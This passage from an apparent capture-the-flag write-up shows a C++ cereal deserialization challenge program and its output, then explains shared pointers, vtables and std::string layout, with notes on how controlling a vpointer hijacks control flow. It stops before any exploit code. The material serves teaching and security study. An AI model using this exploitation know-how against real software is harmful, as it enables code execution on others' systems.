        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getline&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cin&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;stringstream &lt;span class=&quot;token function&quot;&gt;ss&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        cereal&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;JSONInputArchive &lt;span class=&quot;token function&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ss&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Congee&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Toast&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Fruit&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;nc: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;c &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;t: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;t &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;f: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;f &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        t&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;breakfast.cpp&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The code first outputs the serialization of three types: &lt;code&gt;Congee&lt;/code&gt;, &lt;code&gt;Toast&lt;/code&gt;, and &lt;code&gt;Fruit&lt;/code&gt;. Then it enters a loop which deserializes input and prints the deserialized values.&lt;/p&gt;
&lt;p&gt;Running it in the terminal:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-output=&quot;2-100&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;./breakfast&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Gonna pop to the store to buy some milk for breakfast.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Keep this data safe for me while I&#39;m gone, alright?&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;{&quot;value0&quot;: {&quot;ptr_wrapper&quot;: {&quot;id&quot;: 2147483649,&quot;data&quot;: {&quot;ingredients&quot;: {&quot;value0&quot;: 0,&quot;value1&quot;: 0,&quot;value2&quot;: 0,&quot;value3&quot;: 0,&quot;value4&quot;: 0,&quot;value5&quot;: 0,&quot;value6&quot;: 0,&quot;value7&quot;: 0}}}},&quot;value1&quot;: {&quot;polymorphic_id&quot;: 1073741824,&quot;ptr_wrapper&quot;: {&quot;id&quot;: 2147483650,&quot;data&quot;: {&quot;spread&quot;: 42}}},&quot;value2&quot;: {&quot;ptr_wrapper&quot;: {&quot;id&quot;: 2147483651,&quot;data&quot;: {&quot;name&quot;: &quot;Apple&quot;}}}}&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Remind me of the data again? &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;c-internals-redux&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#c-internals-redux&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; C++ Internals Redux&lt;/h2&gt;
&lt;p&gt;To better understand the program and how the exploitation works, let&#39;s review some C++!&lt;/p&gt;
&lt;p&gt;If you&#39;re familiar, you may want to skip ahead to &lt;a href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#analysis&quot;&gt;the analysis&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;what-are-shared-pointers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#what-are-shared-pointers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What are shared pointers?&lt;/h3&gt;
&lt;p&gt;Shared pointers (&lt;code&gt;std::shared_ptr&lt;/code&gt;) are smart pointers in C++ that enable &lt;strong&gt;multiple pointers&lt;/strong&gt; to manage the lifetime of a &lt;strong&gt;single object&lt;/strong&gt;. They use &lt;strong&gt;reference counting&lt;/strong&gt; to track how many shared pointers point to the same dynamically allocated resource. The object is automatically deleted when the last remaining &lt;code&gt;shared_ptr&lt;/code&gt; pointing to it is destroyed or reset. This provides automatic memory management while allowing shared ownership.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Key Point for Exploitation: Multiple shared pointers may share a single object. This often complicates serialization, and may lead to bugs if improperly implemented.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;memory&amp;gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Resource&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;Resource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Resource acquired&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Resource&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Resource destroyed&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;use&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Resource used&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Create a shared_ptr that manages a new Resource&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Resource&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; ptr1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;make_shared&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Resource&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// Create another shared_ptr that shares ownership&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Resource&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; ptr2 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ptr1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Inside inner scope - &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        ptr2&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;use&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Both pointers can use the resource&lt;/span&gt;
        
        &lt;span class=&quot;token comment&quot;&gt;// ptr2 will be destroyed here, but resource remains&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Outside inner scope - &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    ptr1&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;use&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ptr1 still keeps the resource alive&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;// ptr1 destroyed here → reference count reaches 0 → resource destroyed&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Resource acquired
Inside inner scope - Resource used
Outside inner scope - Resource used
Resource destroyed&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;what-are-virtual-tables&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#what-are-virtual-tables&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What are virtual tables?&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;vtable&lt;/strong&gt; (virtual table) is the mechanism that enables runtime polymorphism in C++.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Each virtual class (any class containing virtual functions) has &lt;strong&gt;one&lt;/strong&gt; corresponding virtual table (vtable).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Example of how virtual classes, vtables, and overriding virtual functions is implemented. Credit: Pablo Arias&quot; href=&quot;https://trebledj.me/img/vpointer-674w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 alpha-img&quot; src=&quot;https://trebledj.me/img/vpointer-674w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 674 / 376&quot; alt=&quot;Example of how virtual classes, vtables, and overriding virtual functions is implemented. Credit: Pablo Arias&quot; title=&quot;Example of how virtual classes, vtables, and overriding virtual functions is implemented. Credit: Pablo Arias&quot; srcset=&quot;https://trebledj.me/img/vpointer-256w.webp 256w, https://trebledj.me/img/vpointer-512w.webp 512w, https://trebledj.me/img/vpointer-674w.webp 674w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 674px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of how virtual classes, vtables, and overriding virtual functions is implemented. Credit: Pablo Arias&lt;/sup&gt;&lt;/p&gt;
&lt;p class=&quot;no-center&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The vtable stores an &lt;strong&gt;array of virtual functions&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Each &lt;strong&gt;object&lt;/strong&gt; of a virtual class &lt;strong&gt;holds a virtual pointer&lt;/strong&gt; (vpointer) which points to the vtable they are instantiated with. The vpointer is a “hidden first member” and precedes other members.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When a virtual function is called, dynamic dispatch is carried out by looking up the vtable then jumping to a function at a hard-coded offset. In assembly, this could be seen as a double dereference.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;; precondition: rax contains the address of the object&lt;/span&gt;
mov    rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;QWORD PTR &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rax&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;; first dereference (get VTable)&lt;/span&gt;
mov    rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;QWORD PTR &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rdx&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;; second dereference (get function inside VTable)&lt;/span&gt;
call   rdx                 &lt;span class=&quot;token comment&quot;&gt;; call the function&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For further reading, I recommend checking out: &lt;a href=&quot;https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/&quot;&gt;Understanding Virtual Tables in C++ by Pablo Arias&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/a/99341/10239789&quot;&gt;this StackOverflow Q&amp;amp;A&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Key Points for Exploitation: 1) If an attacker controls the vpointer, they can hijack control flow. 2) The vpointer is the first member of any object of a virtual class.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;what-is-an-std-string&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#what-is-an-std-string&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What is an &lt;code&gt;std::string&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;We all know what a string is in programming, but what does C++&#39;s &lt;code&gt;std::string&lt;/code&gt; look like?&lt;/p&gt;
&lt;p&gt;If we dig into the source code, we see the (GCC) implementation is roughly equivalent to:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;CharT&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;basic_string&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    CharT&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; buffer&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  	size_t size&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// size_t == uint64_t on 64-bit systems.&lt;/span&gt;
    size_t capacity&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
